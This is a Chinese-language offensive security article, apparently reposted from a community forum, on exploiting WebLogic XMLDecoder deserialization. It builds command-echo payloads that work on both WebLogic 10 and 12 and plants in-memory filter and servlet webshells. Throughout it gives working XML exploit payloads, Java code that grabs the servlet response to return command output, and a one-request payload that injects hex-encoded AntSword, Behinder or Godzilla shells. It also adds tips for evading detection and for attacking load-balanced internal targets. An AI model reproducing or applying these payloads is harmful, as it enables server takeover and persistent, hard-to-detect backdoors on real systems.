Weblogic xmldecoder反序列化中的命令回顯與內存馬總結


首發先知社區:https://xz.aliyun.com/t/10323

雖說weblogic xmldecoder的洞是幾年前的,但是之前內外網場景下老是遇到,大多數情況是不出網、不方便寫webshell(weblogic負載均衡,輪詢)場景,需要解決的問題就是回顯構造和內存馬的植入。所以想花個時間來總結一下。

而說到回顯、內存馬植入的文章網上越來越多,看了文章都知道有哪些方法,比如回顯問題大多數都知道有找request、URLClassloader報錯、rmi調用那些,一說內存馬都知道servlet、filter、listener馬,都知道怎么去寫個Demo。

但是實際結合到場景去做總是會遇到一些問題,所以自己想着還是多動手實踐,畢竟talk is cheap。


0x01 weblogic xmldecoder 反序列化漏洞

debug 環境搭建:

修改 domain 的 bin 目錄下面的 startWebLogic.cmd 文件,在前邊部分加上以下行:

set JAVA_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n

之后就是常規添加libraries和weblogic服務器就不截圖了,寫個filter斷點測試下:

涉及CVE:

  • CVE-2017-3506

  • CVE-2017-10271

  • CVE-2019-2725

三個CVE都是對最初漏洞的不停繞過,CVE-2017-3506修補方案為禁用 object 標簽,CVE-2019-2725,由於組件_async存在反序列化。

原理簡單說就是WLS Security組件對外提供webservice服務,其中使用了XMLDecoder來解析用戶傳入的XML數據,在解析的過程中出現反序列化漏洞

CVE-2017-10271 簡單流程

這個洞網上很多過程文章,不貼過程了

簡單跟一下, 處理是在readHeaderOld方法,進入到weblogic.wsee.jaxws.workcontext.WorkContextTube#readHeaderOld后ByteArrayOutputStream bao為實際傳入獲內存緩沖區的數據,轉換成字節數組,在使用WorkContextXmlInputAdapter 時又把字節數組用ByteArrayInputStream轉化為輸入流,最后轉成XmlDecoder對象

最后跟到readUTF函數中調用readObject( )方法進行反序列化操作,代碼執行。

payload中的xmlencoder 標簽

文檔:XMLEncoder (Java SE 9 & JDK 9 ) (oracle.com)

因為這三個cve都是針對前面的繞過

CVE-2017-10271是通過voidnew標簽對CVE-2017-3506補丁的繞過。標簽這里也不貼那么多了,可以看已有的文章對標簽的解釋:

最早poc使用object 標簽來表示對象:

               <object class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>cmd.exe</string>
                        </void>
                        <void index="1">
                            <string>/c</string>
                        </void>
                        <void index="2">
                            <string>calc.exe</string>
                        </void>
                    </array>
                    <void method="start" />
                </object>

一些payload中常用的標簽:

object或void標簽用於初始化對象,屬性class的值是初始化對象所屬的類

<object class="java.io.xxx"> </object>

函數調用使用void 標簽,屬性method的值是調用的方法

a.fun1("haha").fun2()

<void method="fun1">
    <string>haha</string>
    <void method="fun2"></void>
</void>
#如果func1、func2是a.func1;a.func2這種只需要把 <void method="fun2"></void>寫在第一對void標簽外即可,表平行的關系。

id或者idref標簽是進行標記,和引用標記的

<void property="attr" id="attr_id"></void> #對屬性進行了id標記
<void method="func1"><object idref="className"></object></void>#引用了id為className的對象

為啥可以使用void,new標簽替換?

XMLDecoder對每種支持的標簽都實現了一個繼承了ElementHandler的類,在DocumentHandler的構造函數中就可以看到,寫個XMLDecode測試,跟進XMLDecoder的readObject函數,隨后跟入parsingComplete函數,再到parse函數,最后一路跟到javax.xml.parsers.SAXParserFactory#newSAXParser可以看到this.handlers參數包含了所有元素對應的解析器:


而在繞過中可以使用void,new標簽替換即可,能等效替換的原因是處理void、new的標簽NewElementHandler、ObjectElementHandler最后都是調用newelementhandleraddAttribute方法獲得類:

具體xmldecoder解密流程可以參加這篇師傅的文章,https://xz.aliyun.com/t/5069,有興趣可以再調一下,這里不貼了。

0x02 Weblogic xmldecoder反序列命令回顯構造

這個部分我把如何找回顯和構造大版本上通用回顯(找上下文)的過程貼詳細在這里,可能啰嗦,但是理解了如何去找以后,可以把通用回顯和打入通用內存馬的payload都構造出來,因為都會用到上下文的部分。

通用的獲得回顯的思路就是獲取當前web上下文對象,比如request和response來設置傳入和響應的內容,有的中間件一般存儲在當前線程對象中,又或者存儲在靜態變量或者特定類里。獲取的流程大致是從web中獲取當前上下文對象(response、context、writer等)然后拿到回顯,而在weblogic中的ServletResponse類,其中的getWritergetOutputStream方法可以進行輸出回顯。

weblogic 輸入接受類ServletRequestImpl

weblogic.servlet.internal.ServletRequestImpl提供了接收參數、請求頭等輸入方式的函數:

不過在xml反序列這幾個洞中這個輸入類都用不到,因為我們反序列化時候本來就可以調用xx類的xx方法進行參數的傳入(比如傳入執行的命令whoami)。

weblogic 回顯輸出類ServletResponseImpl

10和12中都有weblogic.servlet.internal.ServletResponseImpl這個類,其中的getServletOutputStreamgetWriter可作為輸出:

測試輸出:

如上,只要拿到了ServletResponseImpl類即可完成后續執行回顯,但是weblogic 12 和10中拿到ServletResponseImpl的流程和方法是不一樣的,以至於回顯payload大多數不通用,拿@shack2師傅寫過的工具舉例子。

weblogic 10 和 weblogic 12 構造回顯差別:

常見payload為dnslog出網探測、Linux反彈shell,稍微方便一些的就是執行命令帶回顯,比如shack2的工具:

調一下工具查看它發送的的payload,先來看weblogic 12

weblogic12 命令回顯調試:

exeCMD方法下斷:

復制值出來:

發送的payload如上,可以看到還是調用了org.mozilla.classfile.DefiningClassLoader類的defineClass函數來傳入自定義的惡意類,利用defineClass加載byte[]返回Class對象,很多poc調用DefiningClassLoader類的原因是他重寫了defineClass而且是public屬性,通過newInstance方法實例化惡意類並調用相應方法,解碼了反編譯查看就是個命令執行的馬:

主要看這里他工具中weblogic12 版本怎么拿到的ServletResponseImpl類:

     ProcessBuilder processBuilder = new ProcessBuilder(cmds);
        processBuilder.redirectErrorStream(true);
        Process proc = processBuilder.start();
        ServletResponseImpl response = this.getServletResponse();
        response.getServletOutputStream().writeStream(proc.getInputStream());
        this.getServletResponse().getWriter().flush();

可以看到在 ServletResponseImpl response = this.getServletResponse();拿到的ServletResponseImpl,跟進getServletResponse(),發現在getHttpConnectionHandler中拿到了HttpConnectionHandler

為啥在weblogic12中需要拿到HttpConnectionHandler類?

跟進了一下發現,在weblogic.servlet.internal.HttpConnectionHandler中是有獲得ServletRequestImpl、ServletRequestImpl類的私有成員的:

對應獲取的getServletRequest、getServletResponse 方法:

所以,只要拿到HttpConnectionHandler中getServletResponse方法就能拿到ServletResponseImpl這個類,最后實例化后執行getServletOutputStreamgetWriter方法即可拿到回顯。

再回到剛才payload中的getHttpConnectionHandler方法,獲取了當前線程對象后進行了一個反射取字段的操作:

為啥在拿到HttpConnectionHandler類的時候需要反射connectionHandler字段?

如上圖,當時看的時候疑惑這里反射獲取connectionHandler字段的原因,所以自己調試一下發現getCurrentWork獲取的是ContainerSupportProviderImpl

跟進ContainerSupportProviderImpl類,查找connectionHandler字段,發現在WlsRequestExecutor這個內部類中,而拿到connectionHandler字段可以拿到HttpConnectionHandler類:

調試完了回到剛才的getServletResponse中,通過如上對ContainerSupportProviderImpl類的connectionHandler字段的獲取,就能拿到HttpConnectionHandler類,然后通過response = httpConnectionHandler.getServletRequest().getResponse();,就能拿到response了,自然后面就能拿到回顯:

后面搜文章也發現lufei師傅在https://xz.aliyun.com/t/5299中構造回顯也說過這個12中回顯構造方法,說的很清楚,因為沒有getter方法,所以無法使用property="connectionHandler"屬性,只能通過反射的方式去獲取這個屬性。

所以工具中weblogic12 獲取回顯的思路:

  • 調用org.mozilla.classfile.DefiningClassLoader來加載惡意的自定義類
  • 惡意的自定義類中使用當前線程類獲得ContainerSupportProviderImpl類,通過對ContainerSupportProviderImplconnectionHandler字段的反射獲得了HttpConnectionHandler類,再有HttpConnectionHandler類的getServletResponse方法就能拿到ServletResponseImpl類來完成后面的回顯。

ps:

工具中是通過base64將自定義惡意類的字節數組傳入到classloader中再解密的,如果實戰中有環境攔截這部分特征的話也很好改,換傳入的格式就行,例子weblogic.utils.Hex中自帶的的fromHexString也可以拿來做接受類字節數組的解碼方法。payload中傳入類字節數組的hex格式再調用weblogic.utils.Hex#fromHexString還原即可:

自定義惡意類:

自定義惡意類后轉成字節數組再轉hex,傳入fromHexString函數:

再來看工具中weblogic10 命令回顯方法

weblogic 10 命令回顯方法

把payload復制出來查看

先看把傳入的類解密后反編譯,發現就是普通的命令執行馬

拿回顯部分是在對圖中的紅框部分,構造了拿到線程后再拿到response.getWriter().write("")來回顯:

<void class="java.lang.Thread" method="currentThread">
                    <void method="getCurrentWork">
                        <void method="getResponse">
                            <void method="getServletOutputStream">
                                <void method="writeStream">
                                    <object idref="proc"></object>
                                </void>
                                <void method="flush"/>
                            </void>
                            <void method="getWriter"><void method="write"><string></string></void></void>
                        </void>
                    </void>
                </void>

12版本的payload中是反射拿到workadapterconnectionHandler字段來獲得HttpConnectionHandler類,再通過HttpConnectionHandler拿到的ServletResponseImpl:

而10版本 中getCurrentWork拿到的就直接是ServletResquestImpl類,而ServletResquestImpl類是有提供函數再獲得ServletResponseImpl類的:

weblogic.servlet.internal.ServletRequestImpl#getResponse

所以10版本的構造就簡單的多,WorkAdapterServletRequestImpl有繼承關系,直接強轉就行了:

所以這里WorkAdapter父類可以直接強轉ServletRequestImpl子類:

同理,實戰中傳入給classloader時候將上述class字節數組轉成hex、或base64格式再調用相應解碼函數即可。

所以工具中weblogic 10 獲取回顯的思路:

  • 調用org.mozilla.classfile.DefiningClassLoader來加載惡意的自定義類
  • 惡意的自定義類中使用當前線程類獲得ServletResquestImpl類,調用ServletResquestImpl類中的getResponse方法就可以拿到ServletResponseImpl類來完成后面的回顯。

0x03 weblogic 10和12版本通用命令回顯payload:

如上 10版本和12版本 獲得回顯的異同

  • 差異點在於通過當前weblogic線程類getCurrentWork函數拿到的類,是不同的。

10版本拿到的是ServletResquestImpl類,12版本拿到的是ContainerSupportProviderImpl類。

  • 相同點是最后都拿到了ServletResponseImpl類,后續通過ServletResponseImpl類其中的輸出函數拿到回顯。

所以通用回顯可以在拿到線程返回的類進行一個判斷,判斷類名是如果有ContainerSupportProviderImpl則是12版本,如果workAdapterServletRequestImpl有繼承關系則是10版本:

 ExecuteThread executeThread = (ExecuteThread)Thread.currentThread();
        ServletResponseImpl servletResponse = null;
        WorkAdapter workAdapter = executeThread.getCurrentWork();
        WebAppServletContext webAppServletContext = null;
        if (workAdapter.getClass().getName().contains("ContainerSupportProviderImpl")) {
            /*weblogic 12 */
            Field field = workAdapter.getClass().getDeclaredField("connectionHandler");
            field.setAccessible(true);
            HttpConnectionHandler httpConnectionHandler = (HttpConnectionHandler)field.get(workAdapter);
            servletResponse = httpConnectionHandler.getServletResponse();
        } else if (workAdapter instanceof ServletRequestImpl) {
            /*weblogic 10 */
            ServletRequestImpl servletRequest = (ServletRequestImpl)workAdapter;
            servletResponse = servletRequest.getResponse();
        }

判斷完成后拿到了ServletResponseImpl類,后續輸出都是一樣的:

ProcessBuilder processBuilder = new ProcessBuilder(cmd);
            processBuilder.redirectErrorStream(true);
            Process proc = processBuilder.start();
            servletResponse.getServletOutputStream().writeStream(proc.getInputStream());
            servletResponse.getWriter().write("");

weblogic 10

weblogic 12

0x04 其他命令回顯思路嘗試

網上大多數總結除了拿上下文來回顯之外,還有像RMI綁定實例、URLClassLoader拋異常回顯、JNDI回顯這些思路方法,我在一一拿來使用在xmldecoder反序列洞中時候發現部分並不適用,效果也沒有拿上下文的好,貼一下嘗試的記錄。

java 調用 js 命令執行回顯(推薦)

這個挺方便的也簡單,javax.script.ScriptEngineManager來調用js,最早看的是寬字節發的文章

image-20210930144022703

執行的js編碼即可,poc網上寬字節是發過的,解出來自己改功能就好了,獲得線程環境那些照着前面說的改就行

RMI /URLClassLoader 拋異常回顯(不適用)

拋異常報錯回顯的方法在T3用的多,錯誤通過反序列化傳輸給客戶端,但在xmldecoder這里不適用。

先來看URLClassLoader 拋異常,網上poc惡意類大多是這樣,最后將執行命令的結果直接放異常拋出:

一般可以把惡意類打jar包,上傳到服務器,上傳使用FileOutputStream,然后用URLClassLoader 加載jar中的類。

但是這種回顯實戰洞中我很少見到過構造,xmldecoder反序列中沒有把異常代碼在返回中拋出,故這種方法不適用。

再來看RMI拋異常,原理不再敘述,參考文章:

https://paper.seebug.org/1442/#1-rmi

https://xz.aliyun.com/t/2223#toc-0

但是在weblogic尋找,大多數實現RMI接口的都是拋出java.rmi.RemoteException 異常,故也不適用


RMI綁定實例命令回顯 (待解決)

老姿勢了,這個可以參考weblogic_cmd,原理即通過漏洞調用classloader來自定義一個RMI接口類,這個類的實現方法中將回顯返回。

weblogic利用rmi回顯的工具都用的weblogic.cluster.singleton.ClusterMasterRemote這個接口,命令回顯覆寫在getServerLocation方法:

但是這個方法我在T3洞用的多,一般是T3發送然后結合CC鏈來注冊RMI接口類達到命令回顯,y4er師傅就寫過一篇這個內容https://xz.aliyun.com/t/7228,而xmldecoder反序列的話就簡單很多了,我可以直接使用defineclass,所以想當然的拿過來用:

將上述文件class轉hex(protected屬性改public不然反射報權限異常)后打入:

調用卻發現報溢出死循環錯誤:

報死循環的異常,晚上調了很久,rmi服務端下斷loadclass找原因也沒找出個所以然,調了個寂寞。

后面再想覺得思路沒毛病,會不會問題在代碼上,嘗試動手把執行命令的函數注釋,只返回一個字符串發現成功,那么問題就在這里

然后就一行行調試,發現在執行方法中不能new,直到最后錯誤定位到proc.getInputStream(),如果不執行這句,正常bind和正常調用執行命令:

后面也沒有調出來是為啥,辛苦su18師傅陪我一起找出錯原因,很感謝,這個問題原因暫時未知。

JNDI 命令回顯

jndi的話如果能出網利用com.sun.rowset.JdbcRowSetImpl可以打jndi回顯,參考JNDI實現回顯研究 - 安全客,安全資訊平台 (anquanke.com),但這篇本質最后去ldap服務器加載的惡意類里面還是找的web上下文來輸出回顯,並且能出網個人覺得沒太大必要用這種方法。

還有一種和單獨利用xmldecoder回顯關系不大了,植入jndi實例,綁定一個reference供遠端調用,攻擊者(客戶端)利用綁定的reference執行Weblogic服務器上的系統命令,並將結果返回給自己,打入的類中在weblogic目標中安裝個JNDI實例,這里就不是單獨只用xmldecoder這個洞了,xmldecoder洞只是拿來打入而已:

這個代碼寬字節之前的cve-2020-14644 漏洞分析中就有現成的,https://www.cnblogs.com/unicodeSec/p/13451993.html,抄過來拿來用就是:

打入:

缺點眾所周知就是這樣做的話在JNDI樹查看注冊上去的Reference時,一眼就能看出注入的后門:

0x05 xmldecoder反序列化結合weblogic filter通用內存馬

先來看大家用的最多的filter類型。

weblogic filter內存馬原理與構造流程

weblogic filter的馬最早我搜到的是寬字節發的https://www.cnblogs.com/potatsoSec/p/13162792.html,調的是12版本,在上面提到10版本和12版本回顯流程的時候就知道,兩個版本拿到上下文也就是request、response、context對象的流程和方法是不同的,所以payload不同。

但是可以效仿上面構造回顯通用payload中對上下文的判斷方法,構造個通用的weblogic filter注入馬。

先來理一下種weblogic filter思路流程和重要的點,具體尋找filter過程看寬字節文章就行,不再敘述,

weblogic filter內存馬重要的點:

  • weblogic中主要使用weblogic.servlet.internal.FilterManager這個類去管理系統中的Filter,這個類有兩個重要的函數,一個是registerFilter函數中進程注冊filter,第二個是loadFilterFilter實例化filter

  • 但是在FilterManager只能傳遞ClassName,FilterManager通過ClassName去查找Class,所以構造payload的時候使用反射

  • filter中使用weblogic自己的classloader(weblogic.utils.classloaders.ChangeAwareClassLoader)去尋找class,在這個classloader的loadclass函數中從cacheClasses中查找是否存在待查找的類,如果存在,則直接返回該名稱對應的Class

  • 種植filter內存馬的方法就是先在cachedClasses這個類中,put進去自己的馬,然后再在registerFilter中進行注冊filter

weblogic filter內存馬流程:

大致流程:利用漏洞加載一個注入filter內存馬的惡意類,惡意類再去加載真正的內存馬(蟻劍冰蠍之類的webshell)。

這里拿weblogic 12版本舉例。

1.拿到weblogic自己的classloader,weblogic.utils.classloaders.ChangeAwareClassLoader

獲取當前線程類,通過反射等操作拿到上下文request、context對象(這一步 10版本和12版本有所不同前面說過),ChangeAwareClassLoader這個weblogic自己的classload從context對象中就能拿到,如下,取對象中的classloader屬性即可:

2.在cachedClasses類中插入惡意代碼

因為ChangeAwareClassLoader的loadClass函數中會從cachedClasses取類名為name的類,如果存在,則直接返回該名稱對應的Class。

第一次看寬字節那篇文章的時候以為cachedClasses是個單獨的類,調是時候才知道是個ConcurrentHashMap類型,故后面反射調用cachedClasses的get、put方法也就不奇怪了:

3.調用FilterManager的registerFilter函數進行filter的注冊

因為weblogic中主要使用FilterManager去管理系統中的Filter,在FilterManager這類中使用registerFilter去注冊、加載filter,故最后一步反射調用registerFilter這個函數來注冊內存馬:

如上可完成filter內存馬的植入。

構造weblogic 10和12 版本 filter 通用注入內存馬

構造通用的payload時,10版本和12版本filter的流程沒啥變化,只是不同版本去拿上下文對象的流程是有變化的。參考前面回顯通用的部分,所以這里只貼結論:

  • 差異點在於通過當前weblogic線程類getCurrentWork函數拿到的類,是不同的。10版本拿到的是ServletResquestImpl類,12版本拿到的是ContainerSupportProviderImpl類。

  • 相同點是最后都拿到拿到context對象,來進行filter內存馬后續的植入。

所以在拿到context之前,進行一個判斷:

后續都是一樣,對context對象中的classload字段進行獲取,因為classloader字段可以返回ChangeAwareClassLoader這個類

最后加載惡意的字節碼class即可:

如果class編譯得版本高於目標服務器jdk版本,會報Unsupported major.minor version 52.0,jdk高版本能兼容低版本,但是低版本不能兼容高版本:

解決方法當然是注意編譯內存馬class文件使用的jdk版本。可以直接用1.7來編譯。

實際問題中的xmldecoder打filter內存馬的小問題

如上對通用filter內存馬進行了構造,而其中這個注入filter會加載一個class文件,這個class文件就是馬文件,蟻劍冰蠍之類的

這個最早我是搜到y4er https://github.com/Y4er/WebLogic-Shiro-shell/blob/master/README.md這篇文章中的代碼,當時候我也是用的這個方法打的環境:

先上傳filter注入的類的jar包,再上傳蟻劍類的class,最后通過漏洞去加載filter注入類,完成內存馬的注入。

使用的是URLClassLoader來加載,支持對jar包加載:

neo-ReGeorg正向代理也是,轉換好了后同樣的方法:


payload:

  <java version="1.4.0" class="java.beans.XMLDecoder">
  <object class="java.net.URLClassLoader">
    <array class="java.net.URL" length="1">
      <void index="0">
        <object class="java.net.URL">
          <string>file:///tmp/update.jar</string>
        </object>
      </void>
    </array>
    <void method="loadClass">
      <string>weblogicupdate</string>
<void method="newInstance"></void>
    </void>
  </object>
</java>

但是有兩個小地方可以改進:

  • 1.實際測試是可用,但是實戰中這樣使用的話需要先上傳一個打包好的jar包和一個蟻劍class,當時我遇到的問題是一個內網負載均衡,你傳這兩個文件需要打好多次來保證每台機器都上傳成功,很累。稍微改一下就是把filter注入類和內存馬類都轉成字節數組來加載,一個包一步打通:

  • 2.因為如果如第一點拿點把蟻劍class字節碼硬編碼就不太靈活,不如加載的類也做個接受,做到動態注入蟻劍、冰蠍、哥斯拉、reGerog等等

綜上,改進最終filter馬:

對filter注入類去加載的類改作傳參,Hex2string方法是對傳入的hex轉字節數組,evilClass為你傳入蟻劍字節數組的hex格式:


payload如下 第一段hex是filter注入類的hex,第二段hex是打入的蟻劍的hex:

       <java>
	               <void class="weblogic.utils.Hex" method="fromHexString" id="cls">
 <string>22222
</string>
                </void>
			<void class="org.mozilla.classfile.DefiningClassLoader">
				<void method="defineClass">
					<string>com.qing.weblogic12_filterShell</string>
					<object idref="cls"></object>
					<void method="newInstance">
					<void method="say" id="result">
<string>11111
</string>
						</void>
					</void>
				</void>
			</void>
		</java>

打入:

這樣就能完成10版本和12版本通用,一個包打入動態注入蟻劍、冰蠍、reGeorg的內存馬。

0x06 結合weblogic servlet、listener類型內存馬

因為前面對context的區別尋找方法都知道了,在構造通用的servlet、listener內存馬

servlet、listener原理參考網上的tomcat內存馬。

weblogic servlet內存馬

weblogic servlet內存馬網上就兩個文章,可能我理解能力不行,看不太明白,索性自己調下。

流程可以參考網上很多tomcat servlet內存馬的文章,在tomcat servlet內存馬種植流程中

核心找到負責管理 Servlet 的Wrapper類。

其中注入成功的關鍵點就是如何獲取到Context,以及如何在servletMapping添加servlet.

1.weblogic 哪里存儲着Servlet的路徑映射關系?

自己寫個servlet,查看哪里去查詢了這個路徑映射關系,以weblogic10 為例,調用棧如下:

明顯看到weblogic.servlet.internal.WebAppServletContext.ServletInvocationAction#run存有我對自己定義的Servlet類和servlet名稱:

然后在這里下斷,慢慢往上去調試,一級一級下斷,過程不貼了直接貼結果:

直到你下斷到weblogic.servlet.internal.WebAppServletContext#resolveRequest這個函數時候,,調了你會發現在URLMatchHelper var2 = (URLMatchHelper)this.servletMapping.get(var1);這里var1為傳入的uri,通過var1從servletMapping中匹配到合適的servlet

查看這個servletMapping,而servletMapping就正好存儲着Servlet的路徑映射,get方法會調用getExactOrPathMatch方法,getExactOrPathMatch方法就是去matchMap中去匹配,有興趣的師傅可以跟下:

重點是我們可以通過這個servletMappingput方法,添加自己的servlet

2.weblogic 在哪里可以動態注冊Servlet對象?

在第一個問題調試的時候,發現weblogic.servlet.internal.WebAppServletContext中就提供了registerServlet函數來注冊Servlet。下斷然后重啟就能看到它自己調用registerServlet函數來注冊,細節有興趣師傅可以跟下這里不貼了:


綜上weblogic10版本為例子,在URLMatchHelper的servletMapping中查詢servlet的路徑映射關系,在WebAppServletContext的registerServlet去注冊servlet。

3.如何獲得servletMapping並添加惡意servlet?

在第一個問題中說明了,weblogic.servlet.internal.WebAppServletContext中的servletMapping使用put方法可以添加我們想加的servlet,經查找發現WebAppServletContext提供了獲得servletMapping的方法:

構造通用welogic servlet內存馬

10版本和12版本拿到context的區別前面都有說,這里不貼了。后面就是對servlet的注冊和添加。

上面提的2、3問題可以看出,注冊servlet內存馬有兩個方法,一個是通過拿到servletMapping來添加惡意的servlet,另一個是通過調用registerServlet函數來注冊惡意的servlet

1.調用registerServlet函數來注冊惡意的servlet

在拿到context后,只需要調用registerServlet函數即可:

2.反射拿到servletMapping字段,put方法惡意的servlet

這種要麻煩一些,我們先看調用這個put需要哪些東西。

直接在put下斷,重啟weblogic,看看它自己怎么加的:

我自己設置的servlet路徑是Funservlet,你一直在這里F9會一直等不到自己設定servlet那個請求,下個條件斷點:

其中傳入的URLMatchHelper 如上,發現調用put第一個參數就是servlet路徑,第二個是傳入的URLMatchHelper 類。

第一個參數是取的URLMatchHelper 類的pattern字段,有興趣的可以自己跟一下。

第二個參數是URLMatchHelper 類實例,我們需要知道如何創建才方便反射構造:

weblogic.servlet.internal.URLMatchHelper#URLMatchHelper構造函數如下,var1servlet路徑,var2ServletStubImpl對象:

所以現在問題變成如何實例化ServletStubImpl類對象,查看其構造函數。

weblogic.servlet.internal.ServletStubImpl#ServletStubImpl

var1為servlet路徑,var2為添加的servlet名詞, var3為context對象,如下:

所以到如上,我們就寫了,因為var1,var2是字符串,var3為context對象,前面也說了如果通用去拿context。

所以流程就是

先用context獲取到servletMapping,因為servletMapping的put方法需要servlet路徑和URLMatchHepler實例,所以第二步為反射創建ServletStub,傳入URLMatchHepler構造函數並創建其實例,第三步就是調用put方法:

把servlet內存馬結合xmldecoder反序列化的步驟如前面一樣,這樣不再敘述。

weblogic listener內存馬

這個就不貼了,context中提供了注冊listener函數:

實際調過在filter鏈中有封裝了listener,和前面一樣還是要去注冊觸發和注冊的地方,這個就沒繼續弄了。

https://xz.aliyun.com/t/7228

https://zhuanlan.zhihu.com/p/396552602

https://xz.aliyun.com/t/8465#toc-3

https://gist.github.com/atxsinn3r/2172f2bc6ea964066d19a122bbf8f23c

https://blog.csdn.net/weixin_39541600/article/details/110078172

https://paper.seebug.org/1316/

https://mp.weixin.qq.com/s/svJQ6R-VMzlTMuvgwumQiQ

https://www.cnblogs.com/potatsoSec/p/13162792.html

https://www.cnblogs.com/ph4nt0mer/p/11772709.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM